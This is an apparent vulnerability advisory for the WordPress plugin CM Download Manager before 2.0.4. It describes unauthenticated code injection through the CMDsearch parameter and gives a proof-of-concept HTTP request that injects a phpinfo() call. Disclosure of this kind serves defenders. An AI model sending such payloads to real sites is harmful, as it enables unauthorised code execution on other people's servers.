WordPress Plugin Vulnerabilities

CM Download Manager < 2.0.4 - Unauthenticated Code Injection

Description

The plugin does not validate and sanitise the CMDsearch parameter which used to create a custom function. This allows attacker to run arbitrary command on the remote server

Proof of Concept

GET /cmdownloads/?CMDsearch=".phpinfo()." HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

Affects Plugins

Fixed in 2.0.4

References

Classification

Type
RCE
OWASP top 10
CWE

Miscellaneous

Submitter
ethicalhack3r
Submitter twitter
Verified
No

Timeline

Publicly Published
2014-11-20 (about 9 years ago)
Added
2014-11-20 (about 9 years ago)
Last Updated
2020-10-22 (about 3 years ago)

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